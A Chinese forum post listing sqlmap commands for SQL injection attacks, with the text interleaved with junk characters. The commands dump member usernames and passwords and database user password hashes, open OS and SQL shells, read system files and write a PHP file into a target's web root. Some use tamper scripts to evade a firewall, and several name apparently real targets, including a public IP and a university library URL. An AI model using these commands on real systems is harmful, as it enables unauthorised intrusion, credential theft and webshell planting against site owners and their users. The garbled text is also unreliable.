找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1694|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap* h8 c" u# s& E/ ?1 C1 D
! Y9 t6 v- D+ m5 z
update :::::>     in the folder   after  execute    following   order : svn update9 x. @# P5 K  r
- |. G' u2 z3 `: c
sqlmap.py -r 1.txt --current-db
( w* w9 u1 I% h. I. W! j. N
# r% _- g& L, B# S0 I6 @, W) Qv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
& b: ^9 K9 s. R% ^
/ z* L. }9 R# H4 R==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
# s. J, P# K5 c: ^8 [: M猜解数据库4 t6 I  Z0 d9 `' b+ u8 \# Z
./sqlmap.py -u "injection-url" --dbs
; M% a! {4 u. y, V) N( Vsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"# l' c# }) [  E; Q

8 G9 Y& a& l- o猜解表名
" e1 |6 \1 Z0 d* }" S6 e# w./sqlmap.py -u "injection-url" -D database_name --tables
  e% i/ X/ [+ d2 B3 l0 V: C' {
. a& b, x0 V. {6 k+ |! Vsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"& k% G3 Z- U  N& d! G1 ~/ [
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
# E( V7 |1 g$ c( O) Q- I$ @7 n) y( |+ c
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
& U1 i1 Y# I; h) T, z4 Q) ]( t; d; Q( p) |. P8 E
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' |5 j; E* P; s( Hsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"9 d0 ]. q% f  F% \9 E+ e' H
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
9 U# e! b7 `) b7 d* Isqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"% j6 z+ P. e5 X! c: g3 G% ^6 S9 G
, F- F; h0 h# T1 k/ s
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"  I0 n" h; V: ^+ a' O* c' n
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
" [: S3 F. ]3 B2 hsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"9 D9 T9 Z" c: q  j/ n
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"! r" c3 q3 }7 x7 `+ x: m. M
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
# @7 q; a; E7 j2 h" ^
7 s' s0 f) P2 Z2 l* lsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了9 c+ ^/ {5 \- F+ ?3 r# K
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
' @* ^3 |% Y1 J( W6 \3 n- e* o4 w+ a: W; U* ~
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"& V4 p; n. @8 {+ X- z5 C
猜解列名
6 g. i3 {7 L. C$ M/ R) G./sqlmap.py -u "injection-url" -D database_name -T table_name --columns+ y" E! @! o: M
2 m. Q' N0 X" K$ j. H
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
: D; A' q6 _" n1 {sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
- h% c, L1 V- @8 Nsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py") B$ o0 T. m4 F0 V/ u

! B6 l$ j. x6 ~7 K* K+ Wsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"3 f4 u9 w5 ~+ @
&submit=Go
, @& S7 _8 N. m/ S猜解值
# M0 ^: N/ M4 X+ y/ t5 h. j./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump0 O+ y: u- A* O+ W! I) a" ]. u: N+ G
========================================================$ I+ w7 K6 r" p% k3 E* Z2 d" I) [. |
搜索表名中包括mana字符的* Y6 K# u2 T+ m+ q! t, f/ w( L* K
/sqlmap.py -u "injection-url" -T mana --search1 R% L0 F- L& Z
返回一个交互式sql shell
' ~! [& ~4 ^8 e4 w, [; x/sqlmap.py -u "injection-url" --sql-shell) R4 G# k0 @% ]( I. B: ?7 [9 L
读取指定文件(需权限). c$ U* b9 g7 _6 ?- j
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
8 ^, l( r1 b( a# \  {9 f7 |查看当前 用户 及 数据库 - [; e3 ]1 h1 p9 L
/sqlmap.py -u "injection-url" --current-user --current-db
/ z/ R/ I) i& y% P/ [; W4 d% n本地文件 写入 远程目标绝对路径
( o* K& h, \9 A+ P/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
7 m( y% k& I/ M- d. Psqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" : d9 P# i& w! {+ Q  g* m7 e) m

. ]( l4 l; X% r8 ^) }/ Gsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径4 d' D3 r* T% N* G# x- X+ P% a
查看某用的权限' K: ]2 f' c  m& A
/sqlmap.py -u "injection-url" --privileges -U root7 q8 X8 |6 g+ m+ `2 l2 Q& p! m
查看当前用户是否为dba
% o$ t1 \0 Z- Z; p+ W( n/sqlmap.py -u "injection-url" --is-dba
) a& Y) i4 g1 l0 j读取所有数据库用户或指定数据库用户的密码$ j' K7 K. l" J6 t2 B; C' ?
sqlmap.py -r 1.txt --users --passwords! l, e5 Q) U& ]" Q
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
9 L, x# y! ]1 I, F; ^# q3 g5 E/ j! O! `: z
/sqlmap.py -u "injection-url" --passwords -U root! I" ?  f  A1 X4 Z6 f
5 C$ j6 t  D& v& N( l" l
--start&&--stop 与 --first&&--last 的区别
; I2 G# a: g6 I; r/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
7 z+ Y" \3 H* X
; G- b4 p1 F3 g从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt), e; j: Z# v" D- N$ ]9 j* ~2 j
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables3 Y5 _9 `) X$ i5 L; J/ n
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns7 `' y& C- ^6 I4 ?

/ a. y# D# @6 ?9 e执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
- J/ U! n" }! L( C3 E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
! O  h3 ~! y( j3 M- j  A+ k( [- J$ R  t% j9 e3 ]: ]0 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表